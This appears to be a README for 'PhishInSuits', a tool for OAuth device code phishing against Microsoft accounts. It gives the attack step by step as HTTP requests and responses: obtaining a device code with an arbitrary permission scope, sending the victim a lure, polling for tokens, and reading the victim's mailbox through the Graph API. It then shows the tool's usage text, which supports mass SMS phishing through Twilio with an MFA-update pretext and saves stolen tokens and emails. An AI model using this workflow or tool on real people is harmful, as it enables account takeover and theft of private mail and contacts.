The OAuth Device Authorization flow is documented via:
While OAuth Device Authorization (RFC 8628) is not inherently malicious, some implementations of it are lacking recommended configurations that aid in preventing phishing campaigns from leveraging their OAuth Device Authorization servers. The lacking configuration referes to RFC 8268 Section 5.4, which details remote phishing via OAuth Device Authorization. The RFC recommends that implementations provide the authorizing devices information to the user and allow the user to confirm they are in posession of the device.
Snippet from RFC 8628 Section 5.4:
It is possible for the device flow to be initiated on a device in an
attacker's possession. For example, an attacker might send an email
instructing the target user to visit the verification URL and enter
the user code. To mitigate such an attack, it is RECOMMENDED to
inform the user that they are authorizing a device during the user-
interaction step (see Section 3.3) and to confirm that the device is
in their possession. The authorization server SHOULD display
information about the device so that the user could notice if a
software client was attempting to impersonate a hardware device.
Without this implementation, attackers can request a user to navigate to the verification URL and enter a user code without any indications of a malicious device authorization which would result in the attacker obtaining both an access token and a refresh token.
In addition, poor implementations regarding the scope of the returned access token can result in an attacker requesting arbitrary access during a phishing campaign. According to RFC 6749 Section 3.3, it is up to the authorization server to accept or ignore a scope provided by the client.
Snippet from RFC 6749 Section 3.3:
The authorization server MAY fully or partially ignore the scope
requested by the client, based on the authorization server policy or
the resource owner's instructions. If the issued access token scope
is different from the one requested by the client, the authorization
server MUST include the "scope" response parameter to inform the
client of the actual scope granted.
For this demonstration, the attack is performed against Microsoft's OAuth Device Authorization flow
Using the client ID for the target public OAuth application, send a request to the following endpoint: login.microsoftonline.com/<tenant>/oauth2/v2.0/devicecode (where tenant is organizations for the use-case of a work email). The server will repond with a JSON object that contains a device code and an associated user code.
The request consists of two HTTP POST parameters:
client_id: The client ID of the target public OAuth application.scope: Space-delimited list of permissions to reuqest when the user is authorizing the application.
Based on research, it does not appear that the scope provided by the client is restricted to what the application originally specified. As a result, an arbitrary scope can be provided.
POST /organizations/oauth2/v2.0/devicecode HTTP/1.1
Host: login.microsoftonline.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
DNT: 1
Upgrade-Insecure-Requests: 1
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 151
client_id=<client_id>&scope=user.read%20analytics.read%20offline_access%20openid%20profile%20email%20Mail.Read%20Contacts.Read
Microsoft returns a JSON object with several value's in it, but user_code and device_code are the two most important values:
user_code: Nine character alphanumeric value that the user will enter during device login.device_code: Session identifier that is used by Microsoft to track user authentication and allow for the retrieval of the access and refresh tokens.- verification_uri: The URL that the user will submit the user_code for authentication.
- expires_in: Time, in seconds, before the device code expires.
- interval: Time, in seconds, in between each poll to check if the user has authenticated.
- message: General message to provide to the user with the authentication URL and user code.
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
x-ms-request-id: 2b01a7ca-539b-4cc8-bd51-075fc505db00
x-ms-ests-server: 2.1.11169.11 - CHI ProdSlices
Set-Cookie: fpc=[REDACTED]; expires=Thu, 26-Nov-2020 19:50:28 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: esctx=[REDACTED]; domain=.login.microsoftonline.com; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=prod; path=/; secure; samesite=none; httponly
Set-Cookie: stsservicecookie=ests; path=/; secure; samesite=none; httponly
Referrer-Policy: strict-origin-when-cross-origin
Date: Tue, 27 Oct 2020 19:50:28 GMT
Connection: close
Content-Length: 473
{
"user_code":"E2XZV7VLV",
"device_code":"[REDACTED]",
"verification_uri":"https://microsoft.com/devicelogin",
"expires_in":900,
"interval":5,
"message":"To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code E2XZV7VLV to authenticate."
}
Using the data returned by Microsoft in Step 1, send a text/email to the user requesting them to navigate to https://microsoft.com/devicelogin and enter the user code value.
This is also noted in the message value in the response from Step 1:
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code E2XZV7VLV to authenticate.
Based on the interval value returned by Microsoft in Step 1, poll login.microsoftonline.com/<tenant>/oauth2/v2.0/token to identify if the user has authenticated yet (where tenant is organizations for the use-case of a work email).
The request consists of three HTTP POST parameters:
client_id: The client ID of the target public OAuth application.code: The device code retrieved from Microsoft during Step 1.grant_type: This is a static value -urn:ietf:params:oauth:grant-type:device_code.
POST /organizations/oauth2/v2.0/token HTTP/1.1
Host: login.microsoftonline.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
DNT: 1
Upgrade-Insecure-Requests: 1
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 325
grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Adevice_code&code=[REDACTED]&client_id=<client_id>
Normally, polling the /token endpoint will return the following error:
AADSTS70016: OAuth 2.0 device flow error. Authorization is pending. Continue polling.
Which is to be expected and requires a continuation of polling via the interval time. Once the user has authenticated and approved the application, the /token response will return the user's access and refresh tokens:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
x-ms-request-id: 3b5ca330-ebca-4c6d-894d-079be18df000
x-ms-ests-server: 2.1.11169.11 - CHI ProdSlices
Set-Cookie: fpc=[REDACTED]; expires=Thu, 26-Nov-2020 19:51:13 GMT; path=/; secure; HttpOnly; SameSite=None
Set-Cookie: x-ms-gateway-slice=prod; path=/; secure; samesite=none; httponly
Set-Cookie: stsservicecookie=ests; path=/; secure; samesite=none; httponly
Referrer-Policy: strict-origin-when-cross-origin
Date: Tue, 27 Oct 2020 19:51:13 GMT
Connection: close
Content-Length: 4864
{
"token_type":"Bearer",
"scope":"Analytics.Read Contacts.Read email Mail.Read openid profile User.Read",
"expires_in":3599,
"ext_expires_in":3599,
"access_token":"[REDACTED]",
"refresh_token":"[REDACTED]",
"id_token":"[REDACTED]"
}
All tokens have been truncated
The access token returned provides the following details:
{
"aud": "00000003-0000-0000-c000-000000000000",
"iss": "https://sts.windows.net/[REDACTED]",
"iat": 1603827973,
"nbf": 1603827973,
"exp": 1603831873,
"acct": 0,
"acr": "1",
"aio": "[REDACTED]",
"amr": [
"pwd",
"mfa"
],
"app_displayname": "Apple Internet Accounts",
"appid": "<client_id>",
"appidacr": "0",
"family_name": "Jenkins",
"given_name": "Carl",
"idtyp": "user",
"ipaddr": "[REDACTED]",
"name": "Carl Jenkins",
"oid": "[REDACTED]",
"platf": "5",
"puid": "[REDACTED]",
"rh": "[REDACTED]",
"scp": "Analytics.Read Contacts.Read email Mail.Read openid profile User.Read",
"signin_state": [
"kmsi"
],
"sub": "[REDACTED]",
"tenant_region_scope": "NA",
"tid": "[REDACTED]",
"unique_name": "[email protected]",
"upn": "[email protected]",
"uti": "[REDACTED]",
"ver": "1.0",
"wids": [
"[REDACTED]"
],
"xms_st": {
"sub": "[REDACTED]"
},
"xms_tcdt": 1583956644
}
Once we have obtained the user's access token, we can leverage it to access data via the Azure Graph API by setting the token as the Authorization: Bearer header.
Requesting a user's emails via the Graph API:
GET /v1.0/users/[email protected]/messages HTTP/1.1
Host: graph.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
DNT: 1
Upgrade-Insecure-Requests: 1
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Authorization: Bearer [REDACTED]
Access token has been truncated
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/json;odata.metadata=minimal;odata.streaming=true;IEEE754Compatible=false;charset=utf-8
Vary: Accept-Encoding
request-id: ba02169a-7dea-48ff-b509-800e0502c253
client-request-id: ba02169a-7dea-48ff-b509-800e0502c253
x-ms-ags-diagnostic: {"ServerInfo":{"DataCenter":"North Central US","Slice":"SliceC","Ring":"3","ScaleUnit":"003","RoleInstance":"AGSFE_IN_31"}}
OData-Version: 4.0
Strict-Transport-Security: max-age=31536000
Date: Tue, 27 Oct 2020 19:51:13 GMT
Connection: close
Content-Length: 83307
{
"@odata.context":"https://graph.microsoft.com/v1.0/$metadata#users('carl.jenkins%40M365xxxxxx.onmicrosoft.com')/messages",
"value":[
{
"@odata.etag":"[REDACTED]"",
"id":"AAMkADhhMz...
... SNIPPED ...
}
The included Python script automates this process, currently using Twilio to send phishing text messages. When the access token is retrieved - it, along with the refresh token, is written to a local file: <email>.token.json. When email's are retrieved from the Graph API, they are also written locally to: <email>.messages.json.
Note: The included pretext for texting/emailing relates to updating a users MFA.
usage: pis.py [-h] [-e TGT_EMAIL] [-p TGT_PHONE] [-f TGT_FILE] [-P FROM_PHONE]
[-s TWL_SID] [-k TWL_TOKEN] [-c CLIENT_ID] [-S SCOPE] [-G] [-A API]
[--proxy PROXY] [--threads THREADS] [--debug]
PhishInSuits: OAuth Device Code Phishing with Verified Apps - v1.0.0
optional arguments:
-h, --help show this help message and exit
-e TGT_EMAIL, --tgt_email TGT_EMAIL
Target victim email address
-p TGT_PHONE, --tgt_phone TGT_PHONE
Target victim phone number (Optional)
-f TGT_FILE, --tgt_file TGT_FILE
File containing target email addresses and phone numbers (Optional).
One target per line.
Comma delimited -> email,phone
-P FROM_PHONE, --from_phone FROM_PHONE
Phone number to send texts from via Twilio
-s TWL_SID, --twl_sid TWL_SID
Twilio SID
-k TWL_TOKEN, --twl_token TWL_TOKEN
Twilio Token
-c CLIENT_ID, --client_id CLIENT_ID
Client ID for the target application
-S SCOPE, --scope SCOPE
Comma delimited list of permissions to request.
Default: user.read offline_access openid profile email Mail.Read Contacts.Read
-G, --get-data After authentication, collect data from Azure Graph API
-A API, --api API List of API endpoints to call.
User profile will always be included.
Comma delimited list
--proxy PROXY Proxy to pass traffic through (e.g. http://127.0.0.1:8080)
--threads THREADS Number of threads for multi-target runs (Default=20)
--debug Enable debugging output
$ python3 pis.py -e [email protected] -p '<victim_phone>' -P '<from_phone>' \
-s '<twilio_sid>' -t '<twilio_token>' -c '<client_id>' --get-data
[INFO] [[email protected]] Code successfully retrieved.
[INFO] [[email protected]] Message: To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code E2XZV7VLV to authenticate.
[INFO] [[email protected]] Text message successfully sent.
[INFO] [[email protected]] Polling for user authentication...
[INFO] [[email protected]] Polling for user authentication...
[INFO] [[email protected]] Polling for user authentication...
[INFO] [[email protected]] Polling for user authentication...
[INFO] [[email protected]] Polling for user authentication...
[INFO] [[email protected]] Token info saved to [email protected]
[INFO] [[email protected]] Azure Graph API results for 'profile' saved to [email protected]